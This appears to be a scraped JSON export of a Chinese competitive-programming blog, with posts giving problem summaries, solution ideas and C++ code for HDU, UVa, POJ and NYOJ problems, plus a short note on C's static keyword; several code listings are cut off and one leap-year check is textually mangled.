题意：有重量为a,b两种铁圈每种无限多个…能能否组成一个重量为c且平衡杠铃（中间的杆的重量忽略不计） a,b,c都是整数。 思路：平衡的话。。就是两边重量一样。。那么c为奇数的时候显然不行。 由于有多组答案的时候输出铁圈数之和小的。。。那么我们枚举的话。应该把里面那层枚举的变量放置成重量较大的。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月23日 星期六 18时56分38秒 4File Name :code/bc/#69/1001.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int a,b,c; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 int T; 41 cin\u003e\u003eT; 42 while (T--) 43 { 44 bool isswap = false; 45 scanf(\"%d %d %d\",\u0026a,\u0026b,\u0026c); 46 if (c%2==1) 47 { 48 puts(\"Impossible\"); 49 continue; 50 } 51 c/=2; 52 if (a\u003eb) 53 { 54 swap(a,b); 55 isswap = true; 56 } 57 bool ok = false; 58 for ( int i = 0 ; i*a\u003c=c ;i++) 59 { 60 for ( int j = 0 ; i*a+j*b \u003c= c ; j++) 61 { 62 if (i*a+j*b==c) 63 { 64 ok = true; 65 if (isswap) cout\u003c\u003cj*2\u003c\u003c\" \"\u003c\u003ci*2\u003c\u003cendl; 66 else cout\u003c\u003ci*2\u003c\u003c\" \"\u003c\u003cj*2\u003c\u003cendl; 67 break; 68 } 69 } 70 if (ok) break; 71 } 72 if (!ok) 73 { 74 puts(\"Impossible\"); 75 } 76 } 77 78 #ifndef ONLINE_JUDGE 79 fclose(stdin); 80 #endif 81 return 0; 82}","date":"2016-01-23","externalUrl":null,"permalink":"/2016/01/hdu5610/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5610 题意：有重量为a,b两种铁圈每种无限多个…能能否组成一个重量为c且平衡杠铃（中间的杆的重量忽略不计） a,b,c都是整数。 思路：平衡的话。。就是两边重量一样。。那么c为奇数的时候显然不行。 由于有多组答案的时候输出铁圈数之和小的。。。那么我们枚举的话。应该把里面那层枚举的变量放置成重量较大的。。。。","tags":["算法竞赛"],"title":"hdu 5610 ||BC #69 div2 1001 Baby Ming and Weight lifting","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5611 题意：给出n个电话号码（长度为11的字符串），满足特殊条件的价格为a，否则为b.特殊条件为最后5位数字一样，最后5位严格递增或者严格递减，最后8位是一个1980年1月一日到2016年12月31日的合法日期。问最后的价值。 思路：直接搞….结果死在cin了。。。原来3E6的cin就会TLE。。。。。q神说1E5有的也会tle….. 所以方案是，能不用cin就不要用cin… 如果要读string的话。。。一个解决办法是把数据流同步关掉（是叫这个名字吗。。） std::ios::sync_with_stdio(false); 会快很多。。。 还有一个办法是先用scanf读 char[] 然后再转化？ 没试过== 哦哦还要注意要判闰年。 还有要开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月23日 星期六 18时58分10秒 4File Name :code/bc/#69/1002.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34string str; 35LL a,b; 36bool good1(string x) 37{ 38 int len = x.length(); 39 if (x[10]==x[9]\u0026\u0026x[9]==x[8]\u0026\u0026x[8]==x[7]\u0026\u0026x[7]==x[6]\u0026\u0026x[6]==x[10]) return true; 40 return false; 41} 42bool good2(string x) 43{ 44 int p = 0 ; 45 for ( int i = 6 ; i \u003c=9 ;i++) 46 { 47 if (x[i+1]-x[i]==-1) p++; 48 } 49 if (p==4) return true; 50 p = 0; 51 for ( int i = 6 ; i \u003c= 9 ; i++) 52 { 53 if (x[i+1]-x[i]==1) p++; 54 } 55 if (p==4) return true; 56 57 return false; 58} 59 60bool runnian (int ye) 61{ 62 if (ye0==0) return true; 63 if (ye%4==0\u0026\u0026ye0!=0) return true; 64 return false; 65} 66bool good3( string x) 67{ 68 int year; 69 string s","date":"2016-01-23","externalUrl":null,"permalink":"/2016/01/hdu5611/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5611 题意：给出n个电话号码（长度为11的字符串），满足特殊条件的价格为a，否则为b.特殊条件为最后5位数字一样，最后5位严格递增或者严格递减，最后8位是一个1980年1月一日到2016年12月31日的合法日期。问最后的价值。","tags":["字符串","模拟"],"title":"hdu 5611 || BC #69 div2 1002 Baby Ming and phone number","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=478 题意：给出一段文字。。其中包含了 P,U,I（功率，电压，电流）中的两个。。求第三个。 思路：字符串处理。。第一次用vim复制整段代码。。命令模式下按v,然后光标扫过的区域都会选中，按y就就复制到剪贴板了。。 所以虽然代码写了300行但只有100行是需要写的。。200行复制改下就好== WA了两次。。一次是因为I写成了小写。。另一次是因为多组数据记得初始化多次。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月22日 星期五 03时25分16秒 4File Name :code/uva/537.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31string str; 32char cstr[20]; 33double i,p,u; 34int pu,pp; 35int pi; 36int pv,pw,pa; 37int beishu; 38string tmp; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 int T; 45 int cas = 0; 46 cin\u003e\u003eT; 47 getchar(); 48 while (T--) 49 { 50 beishu = 0; //多组数据。。。忘记每次都初始化== 51 printf(\"Problem #%d\\n\",++cas); 52 getline(cin,str); 53// cout\u003c\u003c\"str:\"\u003c\u003cstr\u003c\u003cendl; 54 pu=str.find(\"U=\"); 55 pi=str.find(\"I=\"); 56 pp=str.find(\"P=\"); 57// cout\u003c\u003c\"pi:\"\u003c\u003cpi\u003c\u003c\" pu:\"\u003c\u003cpu\u003c\u003c\" pp:\"\u003c\u003cpp\u003c\u003cendl; 58 if (pp==-1) 59 { 60 pv=str.find('V',pu+1); 61 pa=str.find('A',pi+1); 62 63 if (str[pv-1]=='m'||str[pv-1]=='k'||str[pv-1]=='M') 64 { 65 if (str[pv-1]=='m') 66 { 67 beishu-=3; 68 tmp = str.substr(pu+2,pv-pu-3); 69 } 70 if (str[pv-1]=='k') 71 { 72 bei","date":"2016-01-22","externalUrl":null,"permalink":"/2016/01/uva537/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=478 题意：给出一段文字。。其中包含了 P,U,I（功率，电压，电流）中的两个。。求第三个。 思路：字符串处理。。第一次用vim复制整段代码。。命令模式下按v,然后光标扫过的区域都会选中，按y就就复制到剪贴板了。。 所以虽然代码写了300行但只有100行是需要写的。。200行复制改下就好== WA了两次。。一次是因为I写成了小写。。另一次是因为多组数据记得初始化多次。","tags":["字符串"],"title":"uva 537 Artificial Intelligence?","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=951 题意：给出一个由大小写字母组成的二维maze…给出k个询问。每个询问一个单词。问能否在maze中找到这个单词。不区分大小写。输出开头字母的坐标（从1开始）。如果有多组输出最上面的。如果还有多组，输出最左边的。数据保证至少有一组。 思路：直接找就好了。。。坑的地方是。。。格式。。数据组数之后会有一个空行。然后每两组读入数据之间会有一个空行。。输出的时候每两组数据之间也有一个空行。 我因为一直多输出了一个空行一直wa QAQ = 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月21日 星期四 14时52分51秒 4File Name :code/uva/10010.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=80; 34int n,m; 35char maze[N][N]; 36string spa; 37int k; 38char target[100]; 39char nouse[55]; 40 41 42bool hang( int x,int y,char tar[]) 43{ 44 int len = strlen(tar); 45 // cout\u003c\u003c\"tar:\"\u003c\u003ctar\u003c\u003cendl; 46 if (y+len-1\u003e=m) return false; 47 int cnt = 0 ; 48 for ( int j = y ; j \u003c y+len; j++) 49 { 50 if (maze[x][j]!=tar[cnt]) 51 return false; 52 cnt++; 53 } 54 55 cout\u003c\u003cx+1\u003c\u003c\" \"\u003c\u003cy+1\u003c\u003cendl; 56 return true; 57} 58bool rhang( int x,int y,char tar[]) 59{ 60 int len = strlen(tar); 61 if (y-len+1\u003c0) return false; 62 int cnt = 0 ; 63 for ( int j = y ; j \u003e=y-len+1 ; j-- ) 64 { 65 66 if (maze[x][j]!=tar[cnt]) 67 return false; 68 cnt++; 69 } 70 cout\u003c\u003cx+1\u003c\u003c\" \"\u003c\u003cy+1\u003c\u003cendl; 71 return true; 72} 7","date":"2016-01-21","externalUrl":null,"permalink":"/2016/01/uva-10010-wheres-waldorf/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026page=show_problem\u0026problem=951 题意：给出一个由大小写字母组成的二维maze…给出k个询问。每个询问一个单词。问能否在maze中找到这个单词。不区分大小写。输出开头字母的坐标（从1开始）。如果有多组输出最上面的。如果还有多组，输出最左边的。数据保证至少有一组。 思路：直接找就好了。。。坑的地方是。。。格式。。数据组数之后会有一个空行。然后每两组读入数据之间会有一个空行。。输出的时候每两组数据之间也有一个空行。","tags":["字符串"],"title":"uva 10010  - Where's Waldorf?","type":"post"},{"categories":["ACM"],"content":"题意：题意：给你一组三维空间中的点，每个点到其它点都有个距离，其中有个最小距离，如果这个最小距离小于10，就将对应的距离的点个数加１，最后输出距离为0,1,2…8,9的点的个数。（from 百度） 老实说，上面这题意也讲的不明不白，其实这题非常水，就是对每个点进行判断，找出和其他点最短的距离，在下标为该距离的数组上+1,最后输出数组下标0-9的数。 trick：其实最小距离大于9的就不用存放了，只要开个大小10的数组。（不会概括。。。抄的别人的） 好坑啊。。。最后要多一个换行。。不然会WA…题目中又木有说。。。WA到死了好么。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月21日 星期四 00时08分50秒 4File Name :uva/152.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003ccassert\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=5E3+11; 35int n; 36int cnt; 37int ans[30]; 38int dblcmp( double d) 39{ 40 return d\u003c-eps?-1:d\u003eeps; 41} 42struct point 43{ 44 int x,y,z; 45 46 int dis(point q) 47 { 48 int res = (x-q.x)*(x-q.x)+(y-q.y)*(y-q.y)+(z-q.z)*(z-q.z); 49 return (int)sqrt(res); 50 } 51 52}p[N]; 53int main() 54{ 55 #ifndef ONLINE_JUDGE 56 freopen(\"code/in.txt\",\"r\",stdin); 57 #endif 58 59 ms(ans,0); 60 cnt = 0; 61 62 while (scanf(\"%d%d%d\",\u0026p[cnt].x,\u0026p[cnt].y,\u0026p[cnt].z)!=EOF) 63 { 64 if (p[cnt].x==0\u0026\u0026p[cnt].y==0\u0026\u0026p[cnt].z==0) break; 65 cnt++; 66 } 67 68 69 for ( int i = 0 ; i \u003c cnt ; i++) 70 { 71 int mind = 10000; 72 for ( int j = 0 ; j \u003c cnt ; j++) 73 { 74 if (i==j) continue; 75 int tmp = p[i].dis(p[j]); 76 77 if (tmp\u003cmind) 78 { 79 mi","date":"2016-01-21","externalUrl":null,"permalink":"/2016/01/uva152/","section":"Posts","summary":"题意：题意：给你一组三维空间中的点，每个点到其它点都有个距离，其中有个最小距离，如果这个最小距离小于10，就将对应的距离的点个数加１，最后输出距离为0,1,2…8,9的点的个数。（from 百度） 老实说，上面这题意也讲的不明不白，其实这题非常水，就是对每个点进行判断，找出和其他点最短的距离，在下标为该距离的数组上+1,最后输出数组下标0-9的数。 trick：其实最小距离大于9的就不用存放了，只要开个大小10的数组。（不会概括。。。抄的别人的）","tags":["水"],"title":"uva 152 Tree's a Crowd","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026category=96\u0026page=show_problem\u0026problem=342 题意：问一个字符串是不是回文串，是不是镜像串。镜像串的意思是。。从镜子里看还一样。。给定了一些存在镜像的字母和数字。。 思路：回文串的判断用c++的string要更容易一些。。直接reverse一下。。判断是否相等就行。。。然后需要注意的是。。如果某个字符补存在镜像那么一定不是镜像串 如果某个字符不存在镜像那么一定不是镜像串！ 如果某个字符不存在镜像那么一定不是镜像串！ 蠢哭惹好么。。。。 1* *********************************************** 2Author :111qqz 3Created Time :2016年01月20日 星期三 16时00分57秒 4File Name :code/uva/401.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string a,b; 34char tmp[1000005]; 35map\u003cchar,char\u003emp; 36void init() 37{ 38 mp.clear(); 39 mp['A']='A'; 40 41 mp['E']='3'; 42 mp['3']='E'; 43 44 mp['H']='H'; 45 mp['I']='I'; 46 47 mp['J']='L'; 48 mp['L']='J'; 49 50 mp['M']='M'; 51 mp['O']='O'; 52 mp['0']='O'; 53 54 mp['S']='2'; 55 mp['2']='S'; 56 57 mp['T']='T'; 58 mp['U']='U'; 59 mp['V']='V'; 60 mp['W']='W'; 61 mp['X']='X'; 62 mp['Y']='Y'; 63 64 mp['Z']='5'; 65 mp['5']='Z'; 66 67 mp['1']='1'; 68 mp['8']='8'; 69} 70 71void solve ( bool x,bool y) 72{ 73 if (!x\u0026\u0026!y) puts(\" -- is not a palindrome.\"); 74 if (x\u0026\u0026y) puts(\" -- is a mirrored palindrome.\"); 75 if (x\u0026\u0026!y) puts(\" -- is a regular palindrome.\"); 76 if (!x\u0026\u0026y) puts(\" -- is a mirrored string.\");","date":"2016-01-20","externalUrl":null,"permalink":"/2016/01/uva-401-palindromes/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid=8\u0026category=96\u0026page=show_problem\u0026problem=342 题意：问一个字符串是不是回文串，是不是镜像串。镜像串的意思是。。从镜子里看还一样。。给定了一些存在镜像的字母和数字。。 思路：回文串的判断用c++的string要更容易一些。。直接reverse一下。。判断是否相等就行。。。然后需要注意的是。。如果某个字符补存在镜像那么一定不是镜像串","tags":["回文串","字符串"],"title":"uva 401 Palindromes","type":"post"},{"categories":["ACM"],"content":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1361 题意：给n个带空格的字符串，第一个单词是国家，统计每个国家的字符串的个数。 思路：getline函数。。。find函数。。。substr函数。。。map….. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月20日 星期三 19时26分09秒 4File Name :code/uva/10420.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string str; 34int len; 35map\u003cstring,int\u003emp; 36map\u003cstring,int\u003e::iterator it; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 int T; 43 cin\u003e\u003eT; 44 getchar(); 45 mp.clear(); 46 while (T--) 47 { 48 getline(cin,str); 49// cout\u003c\u003cstr\u003c\u003cendl; 50 int pos = str.find(' '); 51 string cou = str.substr(0,pos); 52 // cout\u003c\u003c\"country:\"\u003c\u003ccou\u003c\u003cendl; 53 mp[cou]++; 54 } 55// cout\u003c\u003cmp.size()\u003c\u003cendl; 56 57 for ( it=mp.begin() ; it!=mp.end() ; it++) 58 { 59 cout\u003c\u003cit-\u003efst\u003c\u003c\" \"\u003c\u003cit-\u003esecond\u003c\u003cendl; 60 } 61 62 63 #ifndef ONLINE_JUDGE 64 fclose(stdin); 65 #endif 66 return 0; 67}","date":"2016-01-20","externalUrl":null,"permalink":"/2016/01/uva10420/","section":"Posts","summary":"https://uva.onlinejudge.org/index.php?option=com_onlinejudge\u0026Itemid;=8\u0026page;=show_problem\u0026problem;=1361 题意：给n个带空格的字符串，第一个单词是国家，统计每个国家的字符串的个数。 思路：getline函数。。。find函数。。。substr函数。。。map…..","tags":["map","字符串"],"title":"uva 10420 - List of Conquests","type":"post"},{"categories":["其他"],"content":"http://acm.nyist.net/JudgeOnline/problem.php?pid=509 题意：中文题目。。。 思路：快速筛即可。。。妈蛋。。。这个oj不能用宏编译==。。。然后一直TLE…去掉了就好了。。sad 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月20日 星期三 13时53分54秒 4File Name :code/nyoj/509.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=10500; 34int n; 35int pri[N]={0}; 36int npri[N]={1,1}; 37int num[N]; 38int cnt; 39 40void pre() 41{ 42 cnt = 0 ; 43 for ( int i = 2 ; i \u003c N ; i++) 44 { 45 if (!npri[i]) pri[cnt++] = i; 46 47 for ( int j = 0 ; j \u003c cnt \u0026\u0026i*pri[j]\u003cN ;j++) 48 { 49 npri[i*pri[j]] = 1; 50 if (!(i%pri[j])) break; 51 52 } 53 54 } 55// for ( int i = 0 ; i \u003c= 100 ; i++) printf(\"%d \",pri[i]); 56 57} 58void solve ( int x) 59{ 60 for ( int i = 2 ; i \u003c= x ; i++) 61 { 62 int tmp = i; 63 for ( int j = 0 ; j \u003c cnt ; j++) 64 { 65 while (tmp%pri[j]==0) 66 { 67 tmp/=pri[j]; 68 num[j]++; 69 70 } 71 if (tmp==1) break; 72 } 73 } 74 for ( int i = 0 ; i \u003c cnt ; i++) 75 { 76 if (pri[i]\u003ex) break; 77 printf(\"%d \",num[i]); 78 } 79} 80int main() 81{ 82 #ifndef ONLINE_JUDGE 83// freopen(\"code/in.txt\",\"r\",stdin); 84 #endif 85 86 pre(); 87 int T; 88 cin\u003e\u003eT; 89 while (T--) 90 { 91 ms(num,0); 92 scanf(\"%d\",\u0026n); 93 solve(n)","date":"2016-01-20","externalUrl":null,"permalink":"/2016/01/nyoj-505-/","section":"Posts","summary":"http://acm.nyist.net/JudgeOnline/problem.php?pid=509 题意：中文题目。。。 思路：快速筛即可。。。妈蛋。。。这个oj不能用宏编译==。。。然后一直TLE…去掉了就好了。。sad","tags":["数论"],"title":"NYOJ 505 因子和阶乘","type":"post"},{"categories":["其他"],"content":"http://poj.org/problem?id=1350 题意：6174问题。。。一个四位数。。四个数字重排。。。最大的减去最小的得到新的数字。最后一定能得到6174或者0.除非这个四位数的四个数字都一样。写出变化的过程。 思路：。。。可能不是不四位数。。略坑。然后写了下字符串和数字相互转化的两个函数。嗯。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月20日 星期三 12时51分41秒 4File Name :code/poj/1350.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34int cnt; 35 36int get_next( int x) 37{ 38 int a,b,len; 39 char st[10]; 40 sprintf(st,\"%d\",x); 41 len = strlen(st); 42// if (len\u003c4) return -1; 43 if (st[0]==st[1]\u0026\u0026st[1]==st[2]\u0026\u0026st[2]==st[3]\u0026\u0026st[3]==st[0]) return -1; 44 for ( int i = 0 ; i \u003c len ; i++) 45 for ( int j = i+1 ; j \u003c len ; j++) 46 if (st[i]\u003cst[j]) swap(st[i],st[j]); 47 48 sscanf(st,\"%d\",\u0026a); 49// cout\u003c\u003cst\u003c\u003cendl; 50 51 for ( int i = 0 ;i \u003c len/2 ; i++) swap(st[i],st[len-1-i]); 52 // cout\u003c\u003cst\u003c\u003cendl; 53 54 sscanf(st,\"%d\",\u0026b); 55 56 printf(\"%d-%d=%d\\n\",a,b,a-b); 57 return a-b; 58 59 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 67 while (scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n!=-1) 68 { 69 cnt = 0 ; 70 printf(\"N=%d:\\n\",n); 71 if (n\u003c1000||n\u003e9999) 72 { 73 puts(\"No!!\"); 74 continue; 75 } 76 while (1) 77 { 78 cnt++; 79 n = get_next(n); 80 // cout\u003c\u003c\"","date":"2016-01-20","externalUrl":null,"permalink":"/2016/01/poj1350/","section":"Posts","summary":"http://poj.org/problem?id=1350 题意：6174问题。。。一个四位数。。四个数字重排。。。最大的减去最小的得到新的数字。最后一定能得到6174或者0.除非这个四位数的四个数字都一样。写出变化的过程。","tags":["算法竞赛"],"title":"poj 1350 Cabric Number Problem","type":"post"},{"categories":["c++"],"content":"一般有两个 1static int a; 2int b; 3void func(void) 4{ 5 static int c=0; 6 int d; 7} 在这里，a与b都是全局变量，二者的区别是，b可以被别的文件使用，a只能在本文件中使用，这是static对全局变量的作用。 ** c和d的区别是，d是一个自动变量，func函数执行完后，d会自动被释放。但c却不会被释放，下一次调用func函数时，c的值会保留上次的值继续使用(而不是初始值0，初始化只会在函数第一次被调用的时候执行)**","date":"2016-01-11","externalUrl":null,"permalink":"/2016/01/cstatic/","section":"Posts","summary":"一般有两个 1static int a; 2int b; 3void func(void) 4{ 5 static int c=0; 6 int d; 7} 在这里，a与b都是全局变量，二者的区别是，b可以被别的文件使用，a只能在本文件中使用，这是static对全局变量的作用。 ** c和d的区别是，d是一个自动变量，func函数执行完后，d会自动被释放。但c却不会被释放，下一次调用func函数时，c的值会保留上次的值继续使用(而不是初始值0，初始化只会在函数第一次被调用的时候执行)**","tags":["算法竞赛"],"title":"c语言中static的作用","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5606 题意：一棵树，边权为0或者1，问对于每个点，距离它最近的点（包括自身）的个数是多少。输出将所有点的答案异或后的值。 思路：由于包括自身，自己与自己距离为0，那么最近的点一定也距离为0，所以就是找对于每个点与它相连的边权为0 的点的个数**。建图的时候可以不管边权为1的点。。因为这样的点不会对任何点的答案有贡献。**正解貌似是冰茶几。。我就是dfs搞了下。。找到每一个联通快的点数。。然后把某个联通快的所有点的答案都更新成点的个数。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月02日 星期六 18时56分17秒 4File Name :code/bc/#68/1002.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35vector\u003cint\u003eEdge[N]; 36int cnt; 37bool vis[N]; 38int ans[N]; 39int sum[N]; 40int path[N]; 41void print() 42{ 43 for ( int i =1 ; i \u003c= n ; i++) 44 { 45 cout\u003c\u003cEdge[i].size()\u003c\u003cendl; 46 } 47} 48 49void dfs(int x) 50{ 51 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003cendl; 52 vis[x] = true; 53 cnt++; 54 path[cnt] = x; 55 for ( int i = 0 ; i \u003c Edge[x].size() ; i++) 56 { 57 int v = Edge[x][i]; 58 if (!vis[v]) 59 { 60 dfs(v); 61 } 62 } 63 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 